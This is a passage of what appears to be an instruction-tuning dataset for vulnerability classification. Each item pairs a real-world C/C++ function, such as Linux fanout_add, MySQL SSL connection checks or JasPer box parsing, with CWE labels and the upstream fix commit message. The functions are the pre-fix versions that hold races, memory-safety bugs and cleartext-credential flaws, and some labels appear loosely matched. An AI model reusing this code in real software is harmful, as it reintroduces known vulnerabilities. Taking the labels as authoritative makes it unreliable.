PACKET_FANOUT_EBPF:\n\t\tbreak;\n\tdefault:\n\t\treturn -EINVAL;\n\t}\n\n\tif (!po->running)\n\t\treturn -EINVAL;\n\n\tif (po->fanout)\n\t\treturn -EALREADY;\n\n\tif (type == PACKET_FANOUT_ROLLOVER ||\n\t (type_flags & PACKET_FANOUT_FLAG_ROLLOVER)) {\n\t\tpo->rollover = kzalloc(sizeof(*po->rollover), GFP_KERNEL);\n\t\tif (!po->rollover)\n\t\t\treturn -ENOMEM;\n\t\tatomic_long_set(&po->rollover->num, 0);\n\t\tatomic_long_set(&po->rollover->num_huge, 0);\n\t\tatomic_long_set(&po->rollover->num_failed, 0);\n\t}\n\n\tmutex_lock(&fanout_mutex);\n\tmatch = NULL;\n\tlist_for_each_entry(f, &fanout_list, list) {\n\t\tif (f->id == id &&\n\t\t read_pnet(&f->net) == sock_net(sk)) {\n\t\t\tmatch = f;\n\t\t\tbreak;\n\t\t}\n\t}\n\terr = -EINVAL;\n\tif (match && match->flags != flags)\n\t\tgoto out;\n\tif (!match) {\n\t\terr = -ENOMEM;\n\t\tmatch = kzalloc(sizeof(*match), GFP_KERNEL);\n\t\tif (!match)\n\t\t\tgoto out;\n\t\twrite_pnet(&match->net, sock_net(sk));\n\t\tmatch->id = id;\n\t\tmatch->type = type;\n\t\tmatch->flags = flags;\n\t\tINIT_LIST_HEAD(&match->list);\n\t\tspin_lock_init(&match->lock);\n\t\tatomic_set(&match->sk_ref, 0);\n\t\tfanout_init_data(match);\n\t\tmatch->prot_hook.type = po->prot_hook.type;\n\t\tmatch->prot_hook.dev = po->prot_hook.dev;\n\t\tmatch->prot_hook.func = packet_rcv_fanout;\n\t\tmatch->prot_hook.af_packet_priv = match;\n\t\tmatch->prot_hook.id_match = match_fanout_group;\n\t\tdev_add_pack(&match->prot_hook);\n\t\tlist_add(&match->list, &fanout_list);\n\t}\n\terr = -EINVAL;\n\tif (match->type == type &&\n\t match->prot_hook.type == po->prot_hook.type &&\n\t match->prot_hook.dev == po->prot_hook.dev) {\n\t\terr = -ENOSPC;\n\t\tif (atomic_read(&match->sk_ref) < PACKET_FANOUT_MAX) {\n\t\t\t__dev_remove_pack(&po->prot_hook);\n\t\t\tpo->fanout = match;\n\t\t\tatomic_inc(&match->sk_ref);\n\t\t\t__fanout_link(sk, po);\n\t\t\terr = 0;\n\t\t}\n\t}\nout:\n\tmutex_unlock(&fanout_mutex);\n\tif (err) {\n\t\tkfree(po->rollover);\n\t\tpo->rollover = NULL;\n\t}\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416', 'CWE-362'], 'message': 'packet: fix races in fanout_add()\n\nMultiple threads can call fanout_add() at the same time.\n\nWe need to grab fanout_mutex earlier to avoid races that could\nlead to one thread freeing po->rollover that was set by another thread.\n\nDo the same in fanout_release(), for peace of mind, and to help us\nfinding lockdep issues earlier.\n\nFixes: dc99f600698d (\"packet: Add fanout support.\")\nFixes: 0648ab70afe6 (\"packet: rollover prepare: per-socket state\")\nSigned-off-by: Eric Dumazet \nCc: Willem de Bruijn \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: QStandardItem* PeerListWidget::addPeer(const QString& ip, BitTorrent::TorrentHandle *const torrent, const BitTorrent::PeerInfo &peer)\n{\n int row = m_listModel->rowCount();\n // Adding Peer to peer list\n m_listModel->insertRow(row);\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::IP), ip);\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::IP), ip, Qt::ToolTipRole);\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::PORT), peer.address().port);\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::IP_HIDDEN), ip);\n if (m_resolveCountries) {\n const QIcon ico = GuiIconProvider::instance()->getFlagIcon(peer.country());\n if (!ico.isNull()) {\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::COUNTRY), ico, Qt::DecorationRole);\n const QString countryName = Net::GeoIPManager::CountryName(peer.country());\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::COUNTRY), countryName, Qt::ToolTipRole);\n }\n else {\n m_missingFlags.insert(ip);\n }\n }\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::CONNECTION), peer.connectionType());\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::FLAGS), peer.flags());\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::FLAGS), peer.flagsDescription(), Qt::ToolTipRole);\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::CLIENT), peer.client());\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::PROGRESS), peer.progress());\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::DOWN_SPEED), peer.payloadDownSpeed());\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::UP_SPEED), peer.payloadUpSpeed());\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::TOT_DOWN), peer.totalDownload());\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::TOT_UP), peer.totalUpload());\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::RELEVANCE), peer.relevance());\n QStringList downloadingFiles(torrent->info().filesForPiece(peer.downloadingPieceIndex()));\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::DOWNLOADING_PIECE), downloadingFiles.join(QLatin1String(\";\")));\n m_listModel->setData(m_listModel->index(row, PeerListDelegate::DOWNLOADING_PIECE), downloadingFiles.join(QLatin1String(\"\\n\")), Qt::ToolTipRole);\n\n return m_listModel->item(row, PeerListDelegate::IP);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-79'], 'message': 'Add Utils::String::toHtmlEscaped'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: am_cache_entry_t *am_new_request_session(request_rec *r)\n{\n const char *session_id;\n\n /* Generate session id. */\n session_id = am_generate_id(r);\n if(session_id == NULL) {\n ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r,\n \"Error creating session id.\");\n return NULL;\n }\n\n\n /* Set session id. */\n am_cookie_set(r, session_id);\n\n return am_cache_new(r->server, session_id);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-79'], 'message': 'Fix Cross-Site Session Transfer vulnerability\n\nmod_auth_mellon did not verify that the site the session was created\nfor was the same site as the site the user accessed. This allows an\nattacker with access to one web site on a server to use the same\nsession to get access to a different site running on the same server.\n\nThis patch fixes this vulnerability by storing the cookie parameters\nused when creating the session in the session, and verifying those\nparameters when the session is loaded.\n\nThanks to Fran\u00e7ois Kooman for reporting this vulnerability.\n\nThis vulnerability has been assigned CVE-2017-6807.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void safe_connect(MYSQL* mysql, const char *name, const char *host,\n const char *user, const char *pass, const char *db,\n int port, const char *sock)\n{\n int failed_attempts= 0;\n\n DBUG_ENTER(\"safe_connect\");\n\n verbose_msg(\"Connecting to server %s:%d (socket %s) as '%s'\"\n \", connection '%s', attempt %d ...\", \n host, port, sock, user, name, failed_attempts);\n\n mysql_options(mysql, MYSQL_OPT_CONNECT_ATTR_RESET, 0);\n mysql_options4(mysql, MYSQL_OPT_CONNECT_ATTR_ADD,\n \"program_name\", \"mysqltest\");\n mysql_options(mysql, MYSQL_OPT_CAN_HANDLE_EXPIRED_PASSWORDS,\n &can_handle_expired_passwords);\n while(!mysql_connect_ssl_check(mysql, host,user, pass, db, port, sock,\n CLIENT_MULTI_STATEMENTS | CLIENT_REMEMBER_OPTIONS,\n opt_ssl_required))\n {\n /*\n Connect failed\n\n Only allow retry if this was an error indicating the server\n could not be contacted. Error code differs depending\n on protocol/connection type\n */\n\n if ((mysql_errno(mysql) == CR_CONN_HOST_ERROR ||\n mysql_errno(mysql) == CR_CONNECTION_ERROR) &&\n failed_attempts < opt_max_connect_retries)\n {\n verbose_msg(\"Connect attempt %d/%d failed: %d: %s\", failed_attempts,\n opt_max_connect_retries, mysql_errno(mysql),\n mysql_error(mysql));\n my_sleep(connection_retry_sleep);\n }\n else\n {\n if (failed_attempts > 0)\n die(\"Could not open connection '%s' after %d attempts: %d %s\", name,\n failed_attempts, mysql_errno(mysql), mysql_error(mysql));\n else\n die(\"Could not open connection '%s': %d %s\", name,\n mysql_errno(mysql), mysql_error(mysql));\n }\n failed_attempts++;\n }\n verbose_msg(\"... Connected.\");\n DBUG_VOID_RETURN;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-319'], 'message': 'BUG#25575605: SETTING --SSL-MODE=REQUIRED SENDS CREDENTIALS BEFORE VERIFYING SSL CONNECTION\n\nMYSQL_OPT_SSL_MODE option introduced.\nIt is set in case of --ssl-mode=REQUIRED and permits only SSL connection.\n\n(cherry picked from commit f91b941842d240b8a62645e507f5554e8be76aec)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int main(int argc, char **argv)\n{\n MYSQL mysql;\n option_string *eptr;\n\n MY_INIT(argv[0]);\n\n if (load_defaults(\"my\",load_default_groups,&argc,&argv))\n {\n my_end(0);\n exit(1);\n }\n defaults_argv=argv;\n if (get_options(&argc,&argv))\n {\n free_defaults(defaults_argv);\n my_end(0);\n exit(1);\n }\n\n /* Seed the random number generator if we will be using it. */\n if (auto_generate_sql)\n srandom((uint)time(NULL));\n\n /* globals? Yes, so we only have to run strlen once */\n delimiter_length= strlen(delimiter);\n\n if (argc > 2)\n {\n fprintf(stderr,\"%s: Too many arguments\\n\",my_progname);\n free_defaults(defaults_argv);\n my_end(0);\n exit(1);\n }\n mysql_init(&mysql);\n if (opt_compress)\n mysql_options(&mysql,MYSQL_OPT_COMPRESS,NullS);\n#ifdef HAVE_OPENSSL\n if (opt_use_ssl)\n mysql_ssl_set(&mysql, opt_ssl_key, opt_ssl_cert, opt_ssl_ca,\n opt_ssl_capath, opt_ssl_cipher);\n#endif\n if (opt_protocol)\n mysql_options(&mysql,MYSQL_OPT_PROTOCOL,(char*)&opt_protocol);\n#ifdef HAVE_SMEM\n if (shared_memory_base_name)\n mysql_options(&mysql,MYSQL_SHARED_MEMORY_BASE_NAME,shared_memory_base_name);\n#endif\n mysql_options(&mysql, MYSQL_SET_CHARSET_NAME, default_charset);\n\n if (opt_plugin_dir && *opt_plugin_dir)\n mysql_options(&mysql, MYSQL_PLUGIN_DIR, opt_plugin_dir);\n\n if (opt_default_auth && *opt_default_auth)\n mysql_options(&mysql, MYSQL_DEFAULT_AUTH, opt_default_auth);\n\n if (using_opt_enable_cleartext_plugin)\n mysql_options(&mysql, MYSQL_ENABLE_CLEARTEXT_PLUGIN, \n (char*) &opt_enable_cleartext_plugin);\n if (!opt_only_print) \n {\n if (!(mysql_connect_ssl_check(&mysql, host, user, opt_password,\n NULL, opt_mysql_port, opt_mysql_unix_port,\n connect_flags, opt_ssl_required)))\n {\n fprintf(stderr,\"%s: Error when connecting to server: %s\\n\",\n my_progname,mysql_error(&mysql));\n free_defaults(defaults_argv);\n my_end(0);\n exit(1);\n }\n }\n\n pthread_mutex_init(&counter_mutex, NULL);\n pthread_cond_init(&count_threshhold, NULL);\n pthread_mutex_init(&sleeper_mutex, NULL);\n pthread_cond_init(&sleep_threshhold, NULL);\n\n /* Main iterations loop */\n eptr= engine_options;\n do\n {\n /* For the final stage we run whatever queries we were asked to run */\n uint *current;\n\n if (verbose >= 2)\n printf(\"Starting Concurrency Test\\n\");\n\n if (*concurrency)\n {\n for (current= concurrency; current && *current; current++)\n concurrency_loop(&mysql, *current, eptr);\n }\n else\n {\n uint infinite= 1;\n do {\n concurrency_loop(&mysql, infinite, eptr);\n }\n while (infinite++);\n }\n\n if (!opt_preserve)\n drop_schema(&mysql, create_schema_string);\n\n } while (eptr ? (eptr= eptr->next) : 0);\n\n pthread_mutex_destroy(&counter_mutex);\n pthread_cond_destroy(&count_threshhold);\n pthread_mutex_destroy(&sleeper_mutex);\n pthread_cond_destroy(&sleep_threshhold);\n\n if (!opt_only_print) \n mysql_close(&mysql); /* Close & free connection */\n\n /* now free all the strings we created */\n my_free(opt_password);\n my_free(concurrency);\n\n statement_cleanup(create_statements);\n statement_cleanup(query_statements);\n statement_cleanup(pre_statements);\n statement_cleanup(post_statements);\n option_cleanup(engine_options);\n\n#ifdef HAVE_SMEM\n my_free(shared_memory_base_name);\n#endif\n free_defaults(defaults_argv);\n my_end(my_end_arg);\n\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-319'], 'message': 'BUG#25575605: SETTING --SSL-MODE=REQUIRED SENDS CREDENTIALS BEFORE VERIFYING SSL CONNECTION\n\nMYSQL_OPT_SSL_MODE option introduced.\nIt is set in case of --ssl-mode=REQUIRED and permits only SSL connection.\n\n(cherry picked from commit 3b2d28578c526f347f5cfe763681eff365731f99)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: MYSQL *mysql_connect_ssl_check(MYSQL *mysql_arg, const char *host,\n const char *user, const char *passwd,\n const char *db, uint port,\n const char *unix_socket, ulong client_flag,\n my_bool ssl_required __attribute__((unused)))\n{\n MYSQL *mysql= mysql_real_connect(mysql_arg, host, user, passwd, db, port,\n unix_socket, client_flag);\n#if defined(HAVE_OPENSSL) && !defined(EMBEDDED_LIBRARY)\n if (mysql && /* connection established. */\n ssl_required && /* --ssl-mode=REQUIRED. */\n !mysql_get_ssl_cipher(mysql)) /* non-SSL connection. */\n {\n NET *net= &mysql->net;\n net->last_errno= CR_SSL_CONNECTION_ERROR;\n strmov(net->last_error, \"--ssl-mode=REQUIRED option forbids non SSL connections\");\n strmov(net->sqlstate, \"HY000\");\n return NULL;\n }\n#endif\n return mysql;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-319'], 'message': 'BUG#25575605: SETTING --SSL-MODE=REQUIRED SENDS CREDENTIALS BEFORE VERIFYING SSL CONNECTION\n\nMYSQL_OPT_SSL_MODE option introduced.\nIt is set in case of --ssl-mode=REQUIRED and permits only SSL connection.\n\n(cherry picked from commit 3b2d28578c526f347f5cfe763681eff365731f99)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void CL_InitRef( void ) {\n\trefimport_t\tri;\n\trefexport_t\t*ret;\n#ifdef USE_RENDERER_DLOPEN\n\tGetRefAPI_t\t\tGetRefAPI;\n\tchar\t\t\tdllName[MAX_OSPATH];\n#endif\n\n\tCom_Printf( \"----- Initializing Renderer ----\\n\" );\n\n#ifdef USE_RENDERER_DLOPEN\n\tcl_renderer = Cvar_Get(\"cl_renderer\", \"opengl2\", CVAR_ARCHIVE | CVAR_LATCH);\n\n\tCom_sprintf(dllName, sizeof(dllName), \"renderer_%s_\" ARCH_STRING DLL_EXT, cl_renderer->string);\n\n\tif(!(rendererLib = Sys_LoadDll(dllName, qfalse)) && strcmp(cl_renderer->string, cl_renderer->resetString))\n\t{\n\t\tCom_Printf(\"failed:\\n\\\"%s\\\"\\n\", Sys_LibraryError());\n\t\tCvar_ForceReset(\"cl_renderer\");\n\n\t\tCom_sprintf(dllName, sizeof(dllName), \"renderer_opengl2_\" ARCH_STRING DLL_EXT);\n\t\trendererLib = Sys_LoadDll(dllName, qfalse);\n\t}\n\n\tif(!rendererLib)\n\t{\n\t\tCom_Printf(\"failed:\\n\\\"%s\\\"\\n\", Sys_LibraryError());\n\t\tCom_Error(ERR_FATAL, \"Failed to load renderer\");\n\t}\n\n\tGetRefAPI = Sys_LoadFunction(rendererLib, \"GetRefAPI\");\n\tif(!GetRefAPI)\n\t{\n\t\tCom_Error(ERR_FATAL, \"Can't load symbol GetRefAPI: '%s'\", Sys_LibraryError());\n\t}\n#endif\n\n\tri.Cmd_AddCommand = Cmd_AddCommand;\n\tri.Cmd_RemoveCommand = Cmd_RemoveCommand;\n\tri.Cmd_Argc = Cmd_Argc;\n\tri.Cmd_Argv = Cmd_Argv;\n\tri.Cmd_ExecuteText = Cbuf_ExecuteText;\n\tri.Printf = CL_RefPrintf;\n\tri.Error = Com_Error;\n\tri.Milliseconds = CL_ScaledMilliseconds;\n\tri.Malloc = CL_RefMalloc;\n\tri.Free = Z_Free;\n#ifdef HUNK_DEBUG\n\tri.Hunk_AllocDebug = Hunk_AllocDebug;\n#else\n\tri.Hunk_Alloc = Hunk_Alloc;\n#endif\n\tri.Hunk_AllocateTempMemory = Hunk_AllocateTempMemory;\n\tri.Hunk_FreeTempMemory = Hunk_FreeTempMemory;\n\n\tri.CM_ClusterPVS = CM_ClusterPVS;\n\tri.CM_DrawDebugSurface = CM_DrawDebugSurface;\n\n\tri.FS_ReadFile = FS_ReadFile;\n\tri.FS_FreeFile = FS_FreeFile;\n\tri.FS_WriteFile = FS_WriteFile;\n\tri.FS_FreeFileList = FS_FreeFileList;\n\tri.FS_ListFiles = FS_ListFiles;\n\tri.FS_FileIsInPAK = FS_FileIsInPAK;\n\tri.FS_FileExists = FS_FileExists;\n\tri.Cvar_Get = Cvar_Get;\n\tri.Cvar_Set = Cvar_Set;\n\tri.Cvar_SetValue = Cvar_SetValue;\n\tri.Cvar_CheckRange = Cvar_CheckRange;\n\tri.Cvar_SetDescription = Cvar_SetDescription;\n\tri.Cvar_VariableIntegerValue = Cvar_VariableIntegerValue;\n\n\t// cinematic stuff\n\n\tri.CIN_UploadCinematic = CIN_UploadCinematic;\n\tri.CIN_PlayCinematic = CIN_PlayCinematic;\n\tri.CIN_RunCinematic = CIN_RunCinematic;\n \n\tri.CL_WriteAVIVideoFrame = CL_WriteAVIVideoFrame;\n\n\tri.IN_Init = IN_Init;\n\tri.IN_Shutdown = IN_Shutdown;\n\tri.IN_Restart = IN_Restart;\n\n\tri.ftol = Q_ftol;\n\n\tri.Sys_SetEnv = Sys_SetEnv;\n\tri.Sys_GLimpSafeInit = Sys_GLimpSafeInit;\n\tri.Sys_GLimpInit = Sys_GLimpInit;\n\tri.Sys_LowPhysicalMemory = Sys_LowPhysicalMemory;\n\n\tret = GetRefAPI( REF_API_VERSION, &ri );\n\n#if defined __USEA3D && defined __A3D_GEOM\n\thA3Dg_ExportRenderGeom (ret);\n#endif\n\n\tCom_Printf( \"-------------------------------\\n\");\n\n\tif ( !ret ) {\n\t\tCom_Error (ERR_FATAL, \"Couldn't initialize refresh\" );\n\t}\n\n\tre = *ret;\n\n\t// unpause so the cgame definately gets a snapshot and renders a frame\n\tCvar_Set( \"cl_paused\", \"0\" );\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-269'], 'message': 'Don't load .pk3s as .dlls, and don't load user config files from .pk3s.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void * CAPSTONE_API cs_winkernel_malloc(size_t size)\n{\n\t// Disallow zero length allocation because they waste pool header space and,\n\t// in many cases, indicate a potential validation issue in the calling code.\n\tNT_ASSERT(size);\n\n\t// FP; a use of NonPagedPool is required for Windows 7 support\n#pragma prefast(suppress : 30030)\t\t// Allocating executable POOL_TYPE memory\n\tCS_WINKERNEL_MEMBLOCK *block = (CS_WINKERNEL_MEMBLOCK *)ExAllocatePoolWithTag(\n\t\t\tNonPagedPool, size + sizeof(CS_WINKERNEL_MEMBLOCK), CS_WINKERNEL_POOL_TAG);\n\tif (!block) {\n\t\treturn NULL;\n\t}\n\tblock->size = size;\n\n\treturn block->data;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'provide a validity check to prevent against Integer overflow conditions (#870)\n\n* provide a validity check to prevent against Integer overflow conditions\r\n\r\n* fix some style issues.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: jp2_box_t *jp2_box_get(jas_stream_t *in)\n{\n\tjp2_box_t *box;\n\tjp2_boxinfo_t *boxinfo;\n\tjas_stream_t *tmpstream;\n\tuint_fast32_t len;\n\tuint_fast64_t extlen;\n\tbool dataflag;\n\n\tbox = 0;\n\ttmpstream = 0;\n\n\tif (!(box = jas_malloc(sizeof(jp2_box_t)))) {\n\t\tgoto error;\n\t}\n\n\t// Mark the box data as never having been constructed\n\t// so that we will not errantly attempt to destroy it later.\n\tbox->ops = &jp2_boxinfo_unk.ops;\n\n\tif (jp2_getuint32(in, &len) || jp2_getuint32(in, &box->type)) {\n\t\tgoto error;\n\t}\n\tboxinfo = jp2_boxinfolookup(box->type);\n\tbox->info = boxinfo;\n\tbox->len = len;\n\tJAS_DBGLOG(10, (\n\t \"preliminary processing of JP2 box: type=%c%s%c (0x%08x); length=%d\\n\",\n\t '\"', boxinfo->name, '\"', box->type, box->len\n\t ));\n\tif (box->len == 1) {\n\t\tif (jp2_getuint64(in, &extlen)) {\n\t\t\tgoto error;\n\t\t}\n\t\tif (extlen > 0xffffffffUL) {\n\t\t\tjas_eprintf(\"warning: cannot handle large 64-bit box length\\n\");\n\t\t\textlen = 0xffffffffUL;\n\t\t}\n\t\tbox->len = extlen;\n\t\tbox->datalen = extlen - JP2_BOX_HDRLEN(true);\n\t} else {\n\t\tbox->datalen = box->len - JP2_BOX_HDRLEN(false);\n\t}\n\tif (box->len != 0 && box->len < 8) {\n\t\tgoto error;\n\t}\n\n\tdataflag = !(box->info->flags & (JP2_BOX_SUPER | JP2_BOX_NODATA));\n\n\tif (dataflag) {\n\t\tif (!(tmpstream = jas_stream_memopen(0, 0))) {\n\t\t\tgoto error;\n\t\t}\n\t\tif (jas_stream_copy(tmpstream, in, box->datalen)) {\n\t\t\tjas_eprintf(\"cannot copy box data\\n\");\n\t\t\tgoto error;\n\t\t}\n\t\tjas_stream_rewind(tmpstream);\n\n\t\t// From here onwards, the box data will need to be destroyed.\n\t\t// So, initialize the box operations.\n\t\tbox->ops = &boxinfo->ops;\n\n\t\tif (box->ops->getdata) {\n\t\t\tif ((*box->ops->getdata)(box, tmpstream)) {\n\t\t\t\tjas_eprintf(\"cannot parse box data\\n\");\n\t\t\t\tgoto error;\n\t\t\t}\n\t\t}\n\t\tjas_stream_close(tmpstream);\n\t}\n\n\tif (jas_getdbglevel() >= 1) {\n\t\tjp2_box_dump(box, stderr);\n\t}\n\n\treturn box;\n\nerror:\n\tif (box) {\n\t\tjp2_box_destroy(box);\n\t}\n\tif (tmpstream) {\n\t\tjas_stream_close(tmpstream);\n\t}\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Fixed bugs due to uninitialized data in the JP2 decoder.\nAlso, added some comments marking I/O stream interfaces that probably\nneed to be changed (in the long term) to fix integer overflow problems.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: */\nint sock_queue_err_skb(struct sock *sk, struct sk_buff *skb)\n{\n\tif (atomic_read(&sk->sk_rmem_alloc) + skb->truesize >=\n\t (unsigned int)sk->sk_rcvbuf)\n\t\treturn -ENOMEM;\n\n\tskb_orphan(skb);\n\tskb->sk = sk;\n\tskb->destructor = sock_rmem_free;\n\tatomic_add(skb->truesize, &sk->sk_rmem_alloc);\n\n\t/* before exiting rcu section, make sure dst is refcounted */\n\tskb_dst_force(skb);\n\n\tskb_queue_tail(&sk->sk_error_queue, skb);\n\tif (!sock_flag(sk, SOCK_DEAD))\n\t\tsk->sk_data_ready(sk);\n\treturn 0; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-125'], 'message': 'tcp: fix SCM_TIMESTAMPING_OPT_STATS for normal skbs\n\n__sock_recv_timestamp can be called for both normal skbs (for\nreceive timestamps) and for skbs on the error queue (for transmit\ntimestamps).\n\nCommit 1c885808e456\n(tcp: SOF_TIMESTAMPING_OPT_STATS option for SO_TIMESTAMPING)\nassumes any skb passed to __sock_recv_timestamp are from\nthe error queue, containing OPT_STATS in the content of the skb.\nThis results in accessing invalid memory or generating junk\ndata.\n\nTo fix this, set skb->pkt_type to PACKET_OUTGOING for packets\non the error queue. This is safe because on the receive path\non local sockets skb->pkt_type is never set to PACKET_OUTGOING.\nWith that, copy OPT_STATS from a packet, only if its pkt_type\nis PACKET_OUTGOING.\n\nFixes: 1c885808e456 (\"tcp: SOF_TIMESTAMPING_OPT_STATS option for SO_TIMESTAMPING\")\nReported-by: JongHwan Kim \nSigned-off-by: Soheil Hassas Yeganeh \nSigned-off-by: Eric Dumazet \nSigned-off-by: Willem de Bruijn \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static __u8 *cp_report_fixup(struct hid_device *hdev, __u8 *rdesc,\n\t\tunsigned int *rsize)\n{\n\tunsigned long quirks = (unsigned long)hid_get_drvdata(hdev);\n\tunsigned int i;\n\n\tif (!(quirks & CP_RDESC_SWAPPED_MIN_MAX))\n\t\treturn rdesc;\n\n\tfor (i = 0; i < *rsize - 4; i++)\n\t\tif (rdesc[i] == 0x29 && rdesc[i + 2] == 0x19) {\n\t\t\trdesc[i] = 0x19;\n\t\t\trdesc[i + 2] = 0x29;\n\t\t\tswap(rdesc[i + 3], rdesc[i + 1]);\n\t\t}\n\treturn rdesc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703'], 'message': 'HID: hid-cypress: validate length of report\n\nMake sure we have enough of a report structure to validate before\nlooking at it.\n\nReported-by: Benoit Camredon \nTested-by: Benoit Camredon \nCc: stable \nSigned-off-by: Greg Kroah-Hartman \nSigned-off-by: Jiri Kosina '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int parse_part_sign_sha256(sockent_t *se, /* {{{ */\n void **ret_buffer, size_t *ret_buffer_len,\n int flags) {\n static c_complain_t complain_no_users = C_COMPLAIN_INIT_STATIC;\n\n char *buffer;\n size_t buffer_len;\n size_t buffer_offset;\n\n size_t username_len;\n char *secret;\n\n part_signature_sha256_t pss;\n uint16_t pss_head_length;\n char hash[sizeof(pss.hash)];\n\n gcry_md_hd_t hd;\n gcry_error_t err;\n unsigned char *hash_ptr;\n\n buffer = *ret_buffer;\n buffer_len = *ret_buffer_len;\n buffer_offset = 0;\n\n if (se->data.server.userdb == NULL) {\n c_complain(\n LOG_NOTICE, &complain_no_users,\n \"network plugin: Received signed network packet but can't verify it \"\n \"because no user DB has been configured. Will accept it.\");\n return (0);\n }\n\n /* Check if the buffer has enough data for this structure. */\n if (buffer_len <= PART_SIGNATURE_SHA256_SIZE)\n return (-ENOMEM);\n\n /* Read type and length header */\n BUFFER_READ(&pss.head.type, sizeof(pss.head.type));\n BUFFER_READ(&pss.head.length, sizeof(pss.head.length));\n pss_head_length = ntohs(pss.head.length);\n\n /* Check if the `pss_head_length' is within bounds. */\n if ((pss_head_length <= PART_SIGNATURE_SHA256_SIZE) ||\n (pss_head_length > buffer_len)) {\n ERROR(\"network plugin: HMAC-SHA-256 with invalid length received.\");\n return (-1);\n }\n\n /* Copy the hash. */\n BUFFER_READ(pss.hash, sizeof(pss.hash));\n\n /* Calculate username length (without null byte) and allocate memory */\n username_len = pss_head_length - PART_SIGNATURE_SHA256_SIZE;\n pss.username = malloc(username_len + 1);\n if (pss.username == NULL)\n return (-ENOMEM);\n\n /* Read the username */\n BUFFER_READ(pss.username, username_len);\n pss.username[username_len] = 0;\n\n assert(buffer_offset == pss_head_length);\n\n /* Query the password */\n secret = fbh_get(se->data.server.userdb, pss.username);\n if (secret == NULL) {\n ERROR(\"network plugin: Unknown user: %s\", pss.username);\n sfree(pss.username);\n return (-ENOENT);\n }\n\n /* Create a hash device and check the HMAC */\n hd = NULL;\n err = gcry_md_open(&hd, GCRY_MD_SHA256, GCRY_MD_FLAG_HMAC);\n if (err != 0) {\n ERROR(\"network plugin: Creating HMAC-SHA-256 object failed: %s\",\n gcry_strerror(err));\n sfree(secret);\n sfree(pss.username);\n return (-1);\n }\n\n err = gcry_md_setkey(hd, secret, strlen(secret));\n if (err != 0) {\n ERROR(\"network plugin: gcry_md_setkey failed: %s\", gcry_strerror(err));\n gcry_md_close(hd);\n 